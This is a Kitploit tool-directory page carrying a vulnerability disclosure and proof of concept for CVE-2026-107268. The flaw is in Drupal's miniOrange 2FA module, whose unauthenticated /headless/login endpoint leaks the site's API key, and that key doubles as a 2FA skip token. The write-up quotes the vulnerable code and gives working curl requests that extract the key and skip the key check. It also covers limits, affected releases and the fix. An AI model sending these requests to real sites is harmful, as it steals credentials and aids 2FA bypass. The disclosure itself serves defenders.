Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-107268 — Proof-of-concept and write-up for CVE-2026-107268, an unauthenticated API key disclosure in the Drupal miniOrange 2FA module that can enable 2FA bypass. | Kitploit
Tools/GitHubGitHub/yuwkaaa/cve-2026-107268
Web Vulnerability ScannersVulnerability AnalysisExploitationInformation GatheringWeb SecurityAuthentication
GitHubyuwkaaa/cve-2026-107268

CVE-2026-107268

Proof-of-concept and write-up for CVE-2026-107268, an unauthenticated API key disclosure in the Drupal miniOrange 2FA module that can enable 2FA bypass.

View Repository
17 days agoNot yet reviewed
Share

CVE-2026-107268: miniOrange 2FA for Drupal returns the site's API key to anonymous callers

CVECVE-2026-107268
AdvisorySA-CONTRIB-2026-207, published 2026-10-07
Projectminiorange_2fa, "Two Factor Authentication - TFA / Passwordless Login"
Affected< 5.4.1 and >= 5.5.0 < 5.5.2
Fixed in5.4.1 on the 5.4.x branch, 5.5.2 on the 5.5.x branch
Drupal core^9.3 || ^10 || ^11
ClassInformation disclosure (CWE-200); the value exposed is a credential (CWE-522)
Risk, as Drupal scored itModerately critical, 12/25, AC:Basic/A:None/CI:Some/II:None/E:Theoretical/TD:Default
Reported byNam Nguyen Le Thanh (yuwkaa)
Verified onDrupal 11.4.6, PHP 8.4.24, miniorange_2fa 5.5.1, 2026-09-09

Upgrade first, then rotate the key. The patch stops the endpoint handing the value out, but anything already read off a live site stays valid until it is replaced in the miniOrange dashboard.

What happens

The module registers /headless/login with _access: 'TRUE', so Drupal passes every request straight to the controller without a permission check. The handler compares the apiKey in the JSON body against the one stored in config, and when they differ it answers HTTP 400 with the stored value included in the response body as originalkey.

In 5.5.1, src/Controller/Miniorange2faController.php:

439    // If apiKey is included in the received credentials.
440    if (isset($jsonCredentials['apiKey']) && $apiKey !== $mo_db_values['mo_auth_customer_api_key']) {
441      $utilities->moAddLoggersForFailures('API authentication failed. Please send the correct apiKey: ' . $mo_db_values['mo_auth_customer_api_key'], 'error');
442      $json['username'] = $username;
443      $json['status'] = 'ERROR';
444      $json['message'] = 'Authentication failed';
445      $json['apiKey'] = $apiKey;
446      $json['originalkey'] = $mo_db_values['mo_auth_customer_api_key'];
447      $json = json_encode($json);
448      header("HTTP/1.1 400 Not Verified");

Line 446 is the disclosure. Line 441 writes the same value into the Drupal log on every failed attempt.

One request, no cookie, no account:

$ curl -s -i -X POST http://127.0.0.1:8082/headless/login \
       -H 'Content-Type: application/json' \
       -d '{"username":"admin","apiKey":"guess"}'
HTTP/1.1 400 Not Verified
Content-Type: application/json;charset=utf-8

{"username":"admin","status":"ERROR","message":"Authentication failed","apiKey":"guess","originalkey":"LAB-CUSTOMER-API-KEY-9f2c41"}

That is from the lab run on 2026-09-09, where the key had been set to LAB-CUSTOMER-API-KEY-9f2c41 through the module's own admin UI.

Why the key is worth more than it looks

The same config value is what the module accepts as its 2FA skip token. MoAuthUtilities::moBackdoorLogin() compares the skip_2fa query parameter against it and finalises the login without a second factor:

280  public static function moBackdoorLogin($user, $mo_db_values) {
281    $mo_auth_backdoor_enabled = $mo_db_values['mo_auth_enable_backdoor'];
282    $backdoor_url_query = $mo_db_values['mo_auth_customer_api_key'];
283    $query_parameters = \Drupal::request()->query->get('skip_2fa');
284    $is_backdoor_login = $mo_auth_backdoor_enabled && ($query_parameters === $backdoor_url_query);
285    if ($is_backdoor_login && ($user->hasRole('administrator') || $user->hasRole('admin'))) {
286      user_login_finalize($user);

and src/Form/MoAuthLoginSettings.php:305 prints exactly that URL to the administrator who turns the feature on.

So on a site running both headless 2FA and backdoor login, somebody who already holds an administrator's password but is stopped at the second factor can read the token off an unauthenticated endpoint and get past it. Fed back into that comparison in the lab, the leaked value returned true for uid 1; a different value returned false.

The key is also the credential the module presents to Xecurify for the site's tenant, alongside the customer ID. Not tested against their API, so what it is worth there is read from the code, not measured.

A second, smaller problem in the same lines

The isset() in line 440 makes the whole comparison conditional on the caller choosing to send the field. Leaving apiKey out of the body skips the check instead of failing it. The status code is what shows it: 400 is the gate rejecting a wrong key, 500 is the handler already past the gate and failing later at the miniOrange API call.

$ curl -s -X POST .../headless/login -d '{"username":"admin","apiKey":"guess"}' -o /dev/null -w '%{http_code}'
400
$ curl -s -X POST .../headless/login -d '{"username":"admin"}'                  -o /dev/null -w '%{http_code}'
500

/headless/authenticate carries the identical gate at line 281, so the key check is skippable there too, but that handler does not put the key in its response.

Limits

The things that keep this from being worse, so nobody has to go looking for them.

Headless 2FA has to be switched on first. There is no config/install default, so the setting stays null until an administrator enables it, and there is no way to tell from outside how many installs have. The attacker also needs the name of an account that exists: on an affected version user_load_by_name() runs before the key check, and an unknown name means getEmail() on false, so the request errors out rather than answering. The 2FA bypass leg needs backdoor login enabled as well, plus the account's password already in hand. Reading the key on its own logs nobody in.

This is not remote code execution, not privilege escalation by itself, and not an authentication bypass by itself.

Which releases carry it

Drupal's advisory gives the affected range as < 5.4.1 || >= 5.5.0 < 5.5.2. A recheck of the boundaries against the tarballs on ftp.drupal.org on 2026-10-07, grepping the controller for the disclosure and for the isset form of the gate:

ReleaseController filenameoriginalkeyisset gatehash_equals
8.x-3.03miniorange_2faController.phpnonono
8.x-3.04miniorange_2faController.phpyesnono
8.x-4.2miniorange_2faController.phpyesnono
8.x-4.3miniorange_2faController.phpyesyesno
5.4.0miniorange_2faController.phpyesyesno
5.4.1miniorange_2faController.phpnonoyes
5.5.1Miniorange2faController.phpyesyesno
5.5.2Miniorange2faController.phpnonoyes

The disclosure first appears in 8.x-3.04, released 2022-05-04, and the isset form of the gate arrives in 8.x-4.3, released 2022-11-14. Before those the surrounding code is shaped differently. The Drupal 7 branch never had it.

Worth noting for anyone repeating this: the file is named miniorange_2faController.php up to 5.4.x and Miniorange2faController.php from 5.5.0, so a case-sensitive filename match silently returns nothing on half the corpus and reads like a clean negative. That happened once on this project.

The attack itself was run against 5.5.1 only. The rest of the table is source inspection.

The fix

5.5.2 and 5.4.1 rewrite the key check so it fails closed. A missing key, a non-string key, an empty stored key and a mismatch are all rejected, the comparison is hash_equals(), and the rejection response and log line no longer name the key. The log keeps an eight-character digest of what was submitted so failures stay diagnosable. The check also moved ahead of user_load_by_name(), and the endpoint picked up Drupal's flood control, which it had been sidestepping entirely.

Timeline

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →